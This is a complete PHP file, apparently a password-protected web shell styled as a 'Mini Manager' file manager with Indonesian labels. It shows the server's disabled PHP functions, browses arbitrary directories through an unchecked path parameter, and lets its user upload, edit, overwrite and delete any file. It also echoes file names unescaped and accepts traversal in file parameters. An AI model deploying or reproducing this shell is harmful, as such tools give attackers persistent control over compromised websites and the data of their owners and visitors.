<?php

session_start();
$password = "baisomuy"; 

if (isset($_GET['logout'])) { session_destroy(); header("Location: ?"); exit; }
if (!isset($_SESSION['logged'])) {
    if (isset($_POST['pass']) && $_POST['pass'] === $password) {
        $_SESSION['logged'] = true;
    } else {
        die('<form method="post" style="text-align:center;margin-top:100px;">
             <h2>Mini Manager</h2><input type="password" name="pass"><button>Login</button></form>');
    }
}

// Fungsi PHP untuk memformat ukuran file
function formatSize($bytes) {
    if ($bytes >= 1073741824) {
        $bytes = number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        $bytes = number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        $bytes = number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        $bytes = $bytes . ' bytes';
    } elseif ($bytes == 1) {
        $bytes = $bytes . ' byte';
    } else {
        $bytes = '0 bytes';
    }
    return $bytes;
}

// Logika Path
$path = isset($_GET['path']) ? realpath($_GET['path']) : realpath(__DIR__);
if (!$path) $path = realpath(__DIR__); 

// Ambil Disable Functions
$disable_functions = ini_get('disable_functions') ?: "None (Semua fungsi aktif)";

// CRUD Logic
if (isset($_GET['delete'])) {
    $file = $path . DIRECTORY_SEPARATOR . $_GET['delete'];
    if (is_file($file)) unlink($file);
    header("Location: ?path=" . urlencode($path)); exit;
}
if (isset($_FILES['file_upload'])) {
    move_uploaded_file($_FILES['file_upload']['tmp_name'], $path . DIRECTORY_SEPARATOR . $_FILES['file_upload']['name']);
    header("Location: ?path=" . urlencode($path)); exit;
}
if (isset($_POST['save_file'])) {
    file_put_contents($path . DIRECTORY_SEPARATOR . $_POST['filename'], $_POST['content']);
    header("Location: ?path=" . urlencode($path)); exit;
}

// Sorting Folder & File
$items = scandir($path);
$folders = [];
$files = [];

foreach ($items as $item) {
    if ($item == "." || $item == "..") continue;
    $fullPath = $path . DIRECTORY_SEPARATOR . $item;
    if (is_dir($fullPath)) {
        $folders[] = $item;
    } else {
        $files[] = $item;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Mini Manager - Full Details</title>
    <style>
        body { font-family: 'Segoe UI', sans-serif; background: #eceff1; padding: 20px; font-size: 14px; color: #333; }
        .container { max-width: 1000px; margin: auto; background: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 4px 6px rgba(0,0,0,0.1); }
        .info-box { background: #fff3e0; border-left: 5px solid #ff9800; padding: 15px; margin-bottom: 20px; font-size: 12px; border-radius: 0 4px 4px 0; }
        .path-bar { background: #cfd8dc; padding: 10px; border-radius: 4px; margin-bottom: 15px; font-weight: bold; word-break: break-all; }
        table { width: 100%; border-collapse: collapse; }
        th, td { padding: 12px 10px; border-bottom: 1px solid #ddd; text-align: left; }
        tr:hover { background: #f9f9f9; }
        .btn { padding: 5px 10px; text-decoration: none; color: white; border-radius: 4px; font-size: 12px; cursor: pointer; border: none; display: inline-block; }
        .btn-edit { background: #0288d1; }
        .btn-del { background: #d32f2f; }
        .btn-up { background: #388e3c; }
        .time { color: #666; font-size: 12px; font-family: monospace; }
        .size { color: #1565c0; font-weight: bold; font-family: monospace; }
        .logout { color: #d32f2f; text-decoration: none; float: right; font-weight: bold; }
        .disabled-list { color: #d32f2f; font-family: monospace; word-break: break-all; }
        textarea { width: 100%; height: 450px; font-family: monospace; margin-top: 10px; padding: 10px; box-sizing: border-box; border: 1px solid #ccc; }
    </style>
</head>
<body>

<div class="container">
    <h2>📁 File Manager <a href="?logout" class="logout">Logout</a></h2>
    
    <div class="info-box">
        <strong>🚫 Disable Functions:</strong><br>
        <span class="disabled-list"><?php echo $disable_functions; ?></span>
    </div>

    <div class="path-bar"> Lokasi: <?php echo htmlspecialchars($path); ?> </div>

    <div style="margin-bottom: 15px;">
        <a href="?path=<?php echo urlencode(dirname($path)); ?>" style="text-decoration:none; color:#0288d1; font-weight:bold;">⬆️ Up One Level</a>
    </div>
    
    <form method="post" enctype="multipart/form-data" style="margin-bottom: 20px; padding:15px; background:#f1f1f1; border-radius: 5px;">
        <input type="file" name="file_upload" required>
        <button type="submit" class="btn btn-up">⬆ Upload ke Folder Ini</button>
    </form>

    <?php if (isset($_GET['edit'])): ?>
        <div style="background: #fffbe6; padding: 15px; border: 1px solid #ffe58f; margin-bottom: 20px;">
            <strong>Editing: <?php echo htmlspecialchars($_GET['edit']); ?></strong>
            <form method="post">
                <input type="hidden" name="filename" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
                <textarea name="content"><?php echo htmlspecialchars(file_get_contents($path.DIRECTORY_SEPARATOR.$_GET['edit'])); ?></textarea><br>
                <button type="submit" name="save_file" class="btn btn-up">💾 Simpan Perubahan</button>
                <a href="?path=<?php echo urlencode($path); ?>" style="margin-left:10px;">Batal</a>
            </form>
        </div>
    <?php endif; ?>

    <table>
        <thead>
            <tr style="background: #eee;">
                <th>Nama</th>
                <th>Terakhir Diubah</th>
                <th>Ukuran</th>
                <th>Tipe</th>
                <th>Aksi</th>
            </tr>
        </thead>
        <tbody>
            <?php
            $sorted_items = array_merge($folders, $files);
            foreach ($sorted_items as $item) {
                $fullPath = $path . DIRECTORY_SEPARATOR . $item;
                $isDir = is_dir($fullPath);
                $mtime = date("Y-m-d H:i:s", filemtime($fullPath));
                
                // Ambil ukuran file (untuk folder kita kasih tanda --)
                $size = $isDir ? "---" : formatSize(filesize($fullPath));
                
                echo "<tr>";
                echo "<td>" . ($isDir ? "📁 <a href='?path=".urlencode($fullPath)."'><b>$item</b></a>" : "📄 $item") . "</td>";
                echo "<td class='time'>$mtime</td>";
                echo "<td class='size'>$size</td>";
                echo "<td>" . ($isDir ? 'Folder' : 'File') . "</td>";
                echo "<td>";
                if (!$isDir) {
                    echo "<a href='?path=".urlencode($path)."&edit=".urlencode($item)."' class='btn btn-edit'>Edit</a> ";
                    echo "<a href='?path=".urlencode($path)."&delete=".urlencode($item)."' class='btn btn-del' onclick='return confirm(\"Hapus file ini?\")'>Hapus</a>";
                }
                echo "</td>";
                echo "</tr>";
            }
            ?>
        </tbody>
    </table>
</div>

</body>
</html>